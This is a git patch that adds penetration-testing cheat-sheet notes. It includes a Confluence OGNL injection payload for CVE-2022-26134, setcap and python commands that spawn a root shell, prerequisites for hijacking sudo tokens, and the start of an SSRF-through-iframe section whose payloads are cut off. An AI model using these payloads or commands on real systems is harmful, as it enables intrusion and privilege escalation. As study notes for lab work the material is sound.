From bf6d08e15defb62c4744d7e1b8d90fe419a1f0fd Mon Sep 17 00:00:00 2001 From: whx Date: Wed, 6 Jul 2022 22:49:06 +0200 Subject: [PATCH] AD stuff --- exploit/java/OGNL/cve_2022_26134.md | 23 + exploit/linux/groups.md | 3 + exploit/linux/setcap.md | 13 + exploit/linux/sudo/tokens.md | 14 + exploit/web/ssrf/iframe.md | 22 + misc/active_directory/AD_CS.md | 12 +- misc/active_directory/ad_misconfiguration.md | 183 +++++ misc/active_directory/ad_persistence.md | 52 ++ misc/active_directory/lateral_movement.md | 264 +++++++ pivoting.md | 58 +- .../priv_esc/docs/windows/windows_priv_esc.md | 12 +- .../smokey@10.10.157.16 | 694 ------------------ 12 files changed, 643 insertions(+), 707 deletions(-) create mode 100644 exploit/java/OGNL/cve_2022_26134.md create mode 100644 exploit/linux/groups.md create mode 100644 exploit/linux/setcap.md create mode 100644 exploit/linux/sudo/tokens.md create mode 100644 exploit/web/ssrf/iframe.md create mode 100644 misc/active_directory/ad_misconfiguration.md create mode 100644 misc/active_directory/ad_persistence.md create mode 100644 misc/active_directory/lateral_movement.md delete mode 100755 post_exploitation/priv_esc/kernel-exploits/linux-exploit-suggester-2/smokey@10.10.157.16 diff --git a/exploit/java/OGNL/cve_2022_26134.md b/exploit/java/OGNL/cve_2022_26134.md new file mode 100644 index 0000000..cf2e7f6 --- /dev/null +++ b/exploit/java/OGNL/cve_2022_26134.md @@ -0,0 +1,23 @@ +# CVE-2022-26134 + +* [NIST CVE-2022-26134](https://nvd.nist.gov/vuln/detail/CVE-2022-26134) +* Confluence versions: + * 1.3.0 to 7.4.17 + * 7.13.0 to 7.13.7 + * 7.14.0 to 7.14.3 + * 7.15.0 to 7.15.2 + * 7.16.0 to 7.16.4 + * 7.17.0 to 7.17.4 + * 7.18.0 to 7.18.1 +* Object Graph Navigation Language (OGNL) + +## Usage + +* Payload is a GET request which is set via the URI +```sh + ${@java.lang.Runtime@getRuntime().exec("touch /tmp/exploit")}/ +``` +* URL encode and curl for PoC + +* Use [Naqwda's exploit](https://github.com/Nwqda/CVE-2022-26134.git) + diff --git a/exploit/linux/groups.md b/exploit/linux/groups.md new file mode 100644 index 0000000..2de2950 --- /dev/null +++ b/exploit/linux/groups.md @@ -0,0 +1,3 @@ +# Groups + +* [steflan-security](https://steflan-security.com/linux-privilege-escalation-exploiting-user-groups/) diff --git a/exploit/linux/setcap.md b/exploit/linux/setcap.md new file mode 100644 index 0000000..625270c --- /dev/null +++ b/exploit/linux/setcap.md @@ -0,0 +1,13 @@ +# setcap + +* Set capabilities of a binary +* [Hacktrick's setuid page](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid) + + +## Usage + +* If there is an S-bit or sudo on setcap do the following. Copy python binary and +```sh +setcap cap_setuid+ep /absolute/path/to/copied/python3 +python3 -c "import os; os.setuid(0); os.system('/bin/bash')" +``` diff --git a/exploit/linux/sudo/tokens.md b/exploit/linux/sudo/tokens.md new file mode 100644 index 0000000..8dce3d0 --- /dev/null +++ b/exploit/linux/sudo/tokens.md @@ -0,0 +1,14 @@ +# Reusing Sudo Token + +* Reuse sudo token of currently logged in user +* [Hacktricks' site](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens) + +* `ptrace` has to be fully enabled +```sh +cat /proc/sys/kernel/yama/ptrace_scope +0 +``` +* sudo has to be triggered the last 15 minutes, check `ps wuax` +* `gdb` has to be installed +* One must be logged in as the same user which should be owned +* Use [nongiach's exploit](https://github.com/nongiach/sudo_inject) diff --git a/exploit/web/ssrf/iframe.md b/exploit/web/ssrf/iframe.md new file mode 100644 index 0000000..109f34a --- /dev/null +++ b/exploit/web/ssrf/iframe.md @@ -0,0 +1,22 @@ +# SSRF through iframe + +* [taken from Jomar's Website](https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/) +* Upload iframe with attacker server and php code ready to be executed. Redirect to a local file on the server +```php + +``` +* Payload looks like this +```html +